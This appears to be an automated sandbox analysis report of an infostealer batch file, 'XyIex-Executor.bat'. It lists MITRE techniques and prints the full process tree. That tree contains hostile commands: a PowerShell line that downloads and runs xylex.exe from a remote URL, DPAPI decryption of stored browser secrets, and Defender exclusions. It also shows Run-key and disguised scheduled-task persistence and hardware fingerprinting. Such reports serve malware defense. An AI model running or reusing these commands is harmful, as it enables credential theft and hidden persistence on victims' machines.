702d2a9930bf8d16752c3dbe1d5b5382c592c13e85e54fe0cd59df2ad4f764db

Analysis

max time kernel
84s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
02-06-2024 17:49

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

XyIex-Executor.bat
Size

244B
MD5

ac122c56306baae12bc1dbc69455249a
SHA1

8f7be0cb0c88260843111257c349f5e2a0fa5b1a
SHA256

702d2a9930bf8d16752c3dbe1d5b5382c592c13e85e54fe0cd59df2ad4f764db
SHA512

a66df3c5a8c21561dad7ffba4eecc132fce6388797dabdd63eaa6d077d8ebf0298a0220331b0a8f28208a80f1b4cf3ec1ce74a76cf61b428bf03f2d2e637951b

Score

10^/10

execution persistence spyware stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xylexV5/xylexz/releases/download/vypix/xylex.exe

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	2796	powershell.exe
10	2796	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3624	powershell.exe
3904	powershell.exe
4896	powershell.exe
3624	powershell.exe
1116	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation	xylex.exe
Key value queried	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation	cscript.exe

Executes dropped EXE 1 IoCs

pid	Process
1152	xylex.exe

Loads dropped DLL 1 IoCs

pid	Process
1152	xylex.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Powershell = "\"powershell.exe\" -WindowStyle Hidden -ExecutionPolicy Bypass -File \"C:\\Users\\Admin\\AppData\\Local\\Temp\\xgIUhjEcpPosbzY.ps1\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Steam = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xylex.exe"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
27	api.ipify.org

An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs

pid	Process
3620	cmd.exe
1128	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
5100	schtasks.exe

Detects videocard installed 1 TTPs 11 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2188	WMIC.exe
4232	WMIC.exe
2136	WMIC.exe
656	WMIC.exe
1280	WMIC.exe
1128	WMIC.exe
2920	WMIC.exe
2920	WMIC.exe
4164	WMIC.exe
4156	WMIC.exe
1536	WMIC.exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

Process Discovery

T1057

pid	Process
4368	tasklist.exe
4776	tasklist.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
2512	reg.exe
4980	reg.exe

Suspicious behavior: EnumeratesProcesses 55 IoCs

pid	Process
2796	powershell.exe
2796	powershell.exe
3624	powershell.exe
3624	powershell.exe
2200	powershell.exe
2200	powershell.exe
1668	powershell.exe
1668	powershell.exe
1116	powershell.exe
1116	powershell.exe
1116	powershell.exe
3624	powershell.exe
3624	powershell.exe
3624	powershell.exe
1184	powershell.exe
1184	powershell.exe
1184	powershell.exe
3904	powershell.exe
3904	powershell.exe
3904	powershell.exe
3976	powershell.exe
3976	powershell.exe
3976	powershell.exe
3440	powershell.exe
3440	powershell.exe
3440	powershell.exe
2180	powershell.exe
2180	powershell.exe
2180	powershell.exe
4896	powershell.exe
4896	powershell.exe
4896	powershell.exe
4652	powershell.exe
4652	powershell.exe
4652	powershell.exe
3372	powershell.exe
3372	powershell.exe
3372	powershell.exe
1152	xylex.exe
1152	xylex.exe
1152	xylex.exe
2268	powershell.exe
2268	powershell.exe
2268	powershell.exe
4836	powershell.exe
4836	powershell.exe
4836	powershell.exe
2672	powershell.exe
2672	powershell.exe
2672	powershell.exe
4404	powershell.exe
4404	powershell.exe
4404	powershell.exe
216	powershell.exe
216	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2796	powershell.exe
Token: SeDebugPrivilege	3624	powershell.exe
Token: SeDebugPrivilege	4368	tasklist.exe
Token: SeDebugPrivilege	4776	tasklist.exe
Token: SeDebugPrivilege	2200	powershell.exe
Token: SeDebugPrivilege	1668	powershell.exe
Token: SeIncreaseQuotaPrivilege	4740	WMIC.exe
Token: SeSecurityPrivilege	4740	WMIC.exe
Token: SeTakeOwnershipPrivilege	4740	WMIC.exe
Token: SeLoadDriverPrivilege	4740	WMIC.exe
Token: SeSystemProfilePrivilege	4740	WMIC.exe
Token: SeSystemtimePrivilege	4740	WMIC.exe
Token: SeProfSingleProcessPrivilege	4740	WMIC.exe
Token: SeIncBasePriorityPrivilege	4740	WMIC.exe
Token: SeCreatePagefilePrivilege	4740	WMIC.exe
Token: SeBackupPrivilege	4740	WMIC.exe
Token: SeRestorePrivilege	4740	WMIC.exe
Token: SeShutdownPrivilege	4740	WMIC.exe
Token: SeDebugPrivilege	4740	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4740	WMIC.exe
Token: SeRemoteShutdownPrivilege	4740	WMIC.exe
Token: SeUndockPrivilege	4740	WMIC.exe
Token: SeManageVolumePrivilege	4740	WMIC.exe
Token: 33	4740	WMIC.exe
Token: 34	4740	WMIC.exe
Token: 35	4740	WMIC.exe
Token: 36	4740	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4740	WMIC.exe
Token: SeSecurityPrivilege	4740	WMIC.exe
Token: SeTakeOwnershipPrivilege	4740	WMIC.exe
Token: SeLoadDriverPrivilege	4740	WMIC.exe
Token: SeSystemProfilePrivilege	4740	WMIC.exe
Token: SeSystemtimePrivilege	4740	WMIC.exe
Token: SeProfSingleProcessPrivilege	4740	WMIC.exe
Token: SeIncBasePriorityPrivilege	4740	WMIC.exe
Token: SeCreatePagefilePrivilege	4740	WMIC.exe
Token: SeBackupPrivilege	4740	WMIC.exe
Token: SeRestorePrivilege	4740	WMIC.exe
Token: SeShutdownPrivilege	4740	WMIC.exe
Token: SeDebugPrivilege	4740	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4740	WMIC.exe
Token: SeRemoteShutdownPrivilege	4740	WMIC.exe
Token: SeUndockPrivilege	4740	WMIC.exe
Token: SeManageVolumePrivilege	4740	WMIC.exe
Token: 33	4740	WMIC.exe
Token: 34	4740	WMIC.exe
Token: 35	4740	WMIC.exe
Token: 36	4740	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4076	WMIC.exe
Token: SeSecurityPrivilege	4076	WMIC.exe
Token: SeTakeOwnershipPrivilege	4076	WMIC.exe
Token: SeLoadDriverPrivilege	4076	WMIC.exe
Token: SeSystemProfilePrivilege	4076	WMIC.exe
Token: SeSystemtimePrivilege	4076	WMIC.exe
Token: SeProfSingleProcessPrivilege	4076	WMIC.exe
Token: SeIncBasePriorityPrivilege	4076	WMIC.exe
Token: SeCreatePagefilePrivilege	4076	WMIC.exe
Token: SeBackupPrivilege	4076	WMIC.exe
Token: SeRestorePrivilege	4076	WMIC.exe
Token: SeShutdownPrivilege	4076	WMIC.exe
Token: SeDebugPrivilege	4076	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4076	WMIC.exe
Token: SeRemoteShutdownPrivilege	4076	WMIC.exe
Token: SeUndockPrivilege	4076	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 708 wrote to memory of 2796	708	cmd.exe	85
PID 708 wrote to memory of 2796	708	cmd.exe	85
PID 2796 wrote to memory of 1152	2796	powershell.exe	96
PID 2796 wrote to memory of 1152	2796	powershell.exe	96
PID 1152 wrote to memory of 828	1152	xylex.exe	99
PID 1152 wrote to memory of 828	1152	xylex.exe	99
PID 828 wrote to memory of 4452	828	cmd.exe	100
PID 828 wrote to memory of 4452	828	cmd.exe	100
PID 828 wrote to memory of 3624	828	cmd.exe	101
PID 828 wrote to memory of 3624	828	cmd.exe	101
PID 3624 wrote to memory of 4436	3624	powershell.exe	102
PID 3624 wrote to memory of 4436	3624	powershell.exe	102
PID 4436 wrote to memory of 4628	4436	csc.exe	103
PID 4436 wrote to memory of 4628	4436	csc.exe	103
PID 1152 wrote to memory of 228	1152	xylex.exe	104
PID 1152 wrote to memory of 228	1152	xylex.exe	104
PID 228 wrote to memory of 3412	228	cmd.exe	105
PID 228 wrote to memory of 3412	228	cmd.exe	105
PID 1152 wrote to memory of 4016	1152	xylex.exe	106
PID 1152 wrote to memory of 4016	1152	xylex.exe	106
PID 4016 wrote to memory of 4368	4016	cmd.exe	107
PID 4016 wrote to memory of 4368	4016	cmd.exe	107
PID 1152 wrote to memory of 1072	1152	xylex.exe	108
PID 1152 wrote to memory of 1072	1152	xylex.exe	108
PID 1152 wrote to memory of 3620	1152	xylex.exe	109
PID 1152 wrote to memory of 3620	1152	xylex.exe	109
PID 1072 wrote to memory of 4776	1072	cmd.exe	110
PID 1072 wrote to memory of 4776	1072	cmd.exe	110
PID 3620 wrote to memory of 2200	3620	cmd.exe	111
PID 3620 wrote to memory of 2200	3620	cmd.exe	111
PID 1152 wrote to memory of 1128	1152	xylex.exe	162
PID 1152 wrote to memory of 1128	1152	xylex.exe	162
PID 1128 wrote to memory of 1668	1128	cmd.exe	113
PID 1128 wrote to memory of 1668	1128	cmd.exe	113
PID 1152 wrote to memory of 1112	1152	xylex.exe	148
PID 1152 wrote to memory of 1112	1152	xylex.exe	148
PID 1152 wrote to memory of 1700	1152	xylex.exe	115
PID 1152 wrote to memory of 1700	1152	xylex.exe	115
PID 1152 wrote to memory of 4892	1152	xylex.exe	170
PID 1152 wrote to memory of 4892	1152	xylex.exe	170
PID 1112 wrote to memory of 4740	1112	cmd.exe	117
PID 1112 wrote to memory of 4740	1112	cmd.exe	117
PID 1152 wrote to memory of 1360	1152	xylex.exe	119
PID 1152 wrote to memory of 1360	1152	xylex.exe	119
PID 1700 wrote to memory of 720	1700	cmd.exe	118
PID 1700 wrote to memory of 720	1700	cmd.exe	118
PID 4892 wrote to memory of 5100	4892	cmd.exe	120
PID 4892 wrote to memory of 5100	4892	cmd.exe	120
PID 1152 wrote to memory of 4476	1152	xylex.exe	121
PID 1152 wrote to memory of 4476	1152	xylex.exe	121
PID 1360 wrote to memory of 1116	1360	cmd.exe	122
PID 1360 wrote to memory of 1116	1360	cmd.exe	122
PID 4476 wrote to memory of 4076	4476	cmd.exe	123
PID 4476 wrote to memory of 4076	4476	cmd.exe	123
PID 1152 wrote to memory of 3184	1152	xylex.exe	124
PID 1152 wrote to memory of 3184	1152	xylex.exe	124
PID 3184 wrote to memory of 424	3184	cmd.exe	125
PID 3184 wrote to memory of 424	3184	cmd.exe	125
PID 1152 wrote to memory of 1576	1152	xylex.exe	126
PID 1152 wrote to memory of 1576	1152	xylex.exe	126
PID 1576 wrote to memory of 4480	1576	cmd.exe	127
PID 1576 wrote to memory of 4480	1576	cmd.exe	127
PID 1152 wrote to memory of 4412	1152	xylex.exe	128
PID 1152 wrote to memory of 4412	1152	xylex.exe	128

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\XyIex-Executor.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $down=New-Object System.Net.WebClient;$url='https://github.com/xylexV5/xylexz/releases/download/vypix/xylex.exe';$file='xylex.exe'; $down.DownloadFile($url,$file);$exec=New-Object -com shell.application;$exec.shellexecute($file);exit
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2796
- - C:\Users\Admin\AppData\Local\Temp\xylex.exe
    "C:\Users\Admin\AppData\Local\Temp\xylex.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1152
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "type .\temp.ps1 | powershell.exe -noprofile -"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:828
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" type .\temp.ps1 "
        5⤵
        
        PID:4452
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -noprofile -
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3624
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\scdvuv32\scdvuv32.cmdline"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4436
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESABD0.tmp" "c:\Users\Admin\AppData\Local\Temp\scdvuv32\CSCFCF916D250A347D68CC3585D321DD11D.TMP"
        7⤵
        
        PID:4628
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:228
    - - C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        5⤵
        
        PID:3412
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "tasklist"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4016
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:4368
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "tasklist"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1072
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:4776
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,21,13,251,61,125,41,113,73,181,63,165,1,91,36,248,68,0,0,0,0,2,0,0,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,52,149,19,144,89,112,59,59,251,229,141,202,64,101,240,104,137,13,3,69,53,156,155,146,175,90,146,162,246,238,201,90,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,8,59,176,18,137,226,140,52,19,171,62,247,31,153,110,138,40,43,108,72,120,10,22,206,204,166,195,251,206,76,84,236,48,0,0,0,182,67,21,24,178,28,183,38,171,5,235,33,128,96,100,191,115,29,3,244,255,89,222,94,221,44,46,134,199,244,235,56,71,157,109,19,168,133,44,36,119,44,14,122,209,122,31,112,64,0,0,0,122,214,19,81,118,163,136,78,57,148,251,210,240,3,134,99,156,175,50,154,230,153,101,220,35,132,92,147,223,230,14,232,202,102,120,97,201,199,70,225,226,97,114,2,149,239,63,52,211,209,152,49,2,92,152,238,148,185,58,73,30,45,12,201), $null, 'CurrentUser')"
      4⤵
      An obfuscated cmd.exe command-line is typically used to evade detection.
      Suspicious use of WriteProcessMemory
      PID:3620
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,21,13,251,61,125,41,113,73,181,63,165,1,91,36,248,68,0,0,0,0,2,0,0,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,52,149,19,144,89,112,59,59,251,229,141,202,64,101,240,104,137,13,3,69,53,156,155,146,175,90,146,162,246,238,201,90,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,8,59,176,18,137,226,140,52,19,171,62,247,31,153,110,138,40,43,108,72,120,10,22,206,204,166,195,251,206,76,84,236,48,0,0,0,182,67,21,24,178,28,183,38,171,5,235,33,128,96,100,191,115,29,3,244,255,89,222,94,221,44,46,134,199,244,235,56,71,157,109,19,168,133,44,36,119,44,14,122,209,122,31,112,64,0,0,0,122,214,19,81,118,163,136,78,57,148,251,210,240,3,134,99,156,175,50,154,230,153,101,220,35,132,92,147,223,230,14,232,202,102,120,97,201,199,70,225,226,97,114,2,149,239,63,52,211,209,152,49,2,92,152,238,148,185,58,73,30,45,12,201), $null, 'CurrentUser')
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2200
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,21,13,251,61,125,41,113,73,181,63,165,1,91,36,248,68,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,87,225,225,105,74,250,17,14,121,162,50,56,214,71,202,251,32,121,40,26,5,205,214,52,26,191,58,177,200,241,246,155,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,137,230,184,142,248,175,36,120,222,4,110,117,60,85,255,52,21,39,177,126,38,76,194,9,75,54,127,87,52,196,251,57,48,0,0,0,62,242,129,76,25,82,189,44,92,5,130,128,156,115,35,25,175,83,81,85,159,232,192,255,184,181,3,127,179,216,232,85,78,47,144,255,115,62,133,108,75,82,5,154,21,128,253,243,64,0,0,0,96,3,115,172,134,228,139,54,161,25,254,150,216,24,138,103,124,43,211,181,183,191,211,17,78,104,20,9,218,8,230,157,99,145,15,109,156,238,65,113,104,211,133,73,126,187,22,212,132,81,131,66,39,202,237,184,142,225,59,166,44,170,47,76), $null, 'CurrentUser')"
      4⤵
      An obfuscated cmd.exe command-line is typically used to evade detection.
      Suspicious use of WriteProcessMemory
      PID:1128
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,21,13,251,61,125,41,113,73,181,63,165,1,91,36,248,68,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,87,225,225,105,74,250,17,14,121,162,50,56,214,71,202,251,32,121,40,26,5,205,214,52,26,191,58,177,200,241,246,155,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,137,230,184,142,248,175,36,120,222,4,110,117,60,85,255,52,21,39,177,126,38,76,194,9,75,54,127,87,52,196,251,57,48,0,0,0,62,242,129,76,25,82,189,44,92,5,130,128,156,115,35,25,175,83,81,85,159,232,192,255,184,181,3,127,179,216,232,85,78,47,144,255,115,62,133,108,75,82,5,154,21,128,253,243,64,0,0,0,96,3,115,172,134,228,139,54,161,25,254,150,216,24,138,103,124,43,211,181,183,191,211,17,78,104,20,9,218,8,230,157,99,145,15,109,156,238,65,113,104,211,133,73,126,187,22,212,132,81,131,66,39,202,237,184,142,225,59,166,44,170,47,76), $null, 'CurrentUser')
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1668
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1112
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic diskdrive get serialnumber
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4740
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Steam /f"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1700
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Steam /f
        5⤵
        
        PID:720
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "GoogleUpdateTaskMachineUAC" /tr "cscript //nologo C:\ProgramData\edge\Updater\RunBatHidden.vbs" /sc minute /mo 10 /f /RU SYSTEM"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4892
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "GoogleUpdateTaskMachineUAC" /tr "cscript //nologo C:\ProgramData\edge\Updater\RunBatHidden.vbs" /sc minute /mo 10 /f /RU SYSTEM
        5⤵
        Creates scheduled task(s)
        
        PID:5100
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\ProgramData\edge\Updater\Get-Clipboard.ps1""
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1360
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\ProgramData\edge\Updater\Get-Clipboard.ps1"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:1116
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kz3ftj2l\kz3ftj2l.cmdline"
        6⤵
        
        PID:1784
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB41D.tmp" "c:\Users\Admin\AppData\Local\Temp\kz3ftj2l\CSC6EF234817C4244B387CE86C4260FED4.TMP"
        7⤵
        
        PID:3888
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4476
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4076
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo "C:\ProgramData\edge\Updater\RunBatHidden.vbs""
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3184
    - - C:\Windows\system32\cscript.exe
        
        cscript //nologo "C:\ProgramData\edge\Updater\RunBatHidden.vbs"
        5⤵
        Checks computer location settings
        
        PID:424
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\ProgramData\edge\Updater\CheckEpicGamesLauncher.bat" "
        6⤵
        
        PID:3192
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3624
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3904
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Steam" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\xylex.exe" /f
        7⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:2512
        
        C:\Windows\system32\reg.exe
        
        reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Steam"
        7⤵
        Modifies registry key
        
        PID:4980
        
        C:\Windows\system32\curl.exe
        
        curl -o "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Steam_Service.exe" YOUR-BINDED-EXE-LINK-HERE
        7⤵
        
        PID:1992
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1576
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic baseboard get serialnumber
        5⤵
        
        PID:4480
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
      4⤵
      PID:4412
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        5⤵
        
        PID:5052
    - - C:\Windows\system32\find.exe
        
        find /i "Speed"
        5⤵
        
        PID:4636
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_computersystemproduct get uuid"
      4⤵
      PID:4292
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_computersystemproduct get uuid
        5⤵
        
        PID:4792
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
      4⤵
      PID:4512
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        5⤵
        Detects videocard installed
        
        PID:2188
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
      4⤵
      PID:2232
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1184
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic PATH Win32_VideoController GET Description,PNPDeviceID"
      4⤵
      PID:2328
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic PATH Win32_VideoController GET Description,PNPDeviceID
        5⤵
        
        PID:2412
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic memorychip get serialnumber"
      4⤵
      PID:2796
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic memorychip get serialnumber
        5⤵
        
        PID:4948
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
      4⤵
      PID:3368
    - - C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        5⤵
        
        PID:2244
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid"
      4⤵
      PID:1112
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        5⤵
        
        PID:4396
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic cpu get processorid"
      4⤵
      PID:1560
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic cpu get processorid
        5⤵
        
        PID:3980
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
      4⤵
      PID:3888
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        5⤵
        
        PID:1764
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "getmac /NH"
      4⤵
      PID:828
    - - C:\Windows\system32\getmac.exe
        
        getmac /NH
        5⤵
        
        PID:332
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
      4⤵
      PID:2176
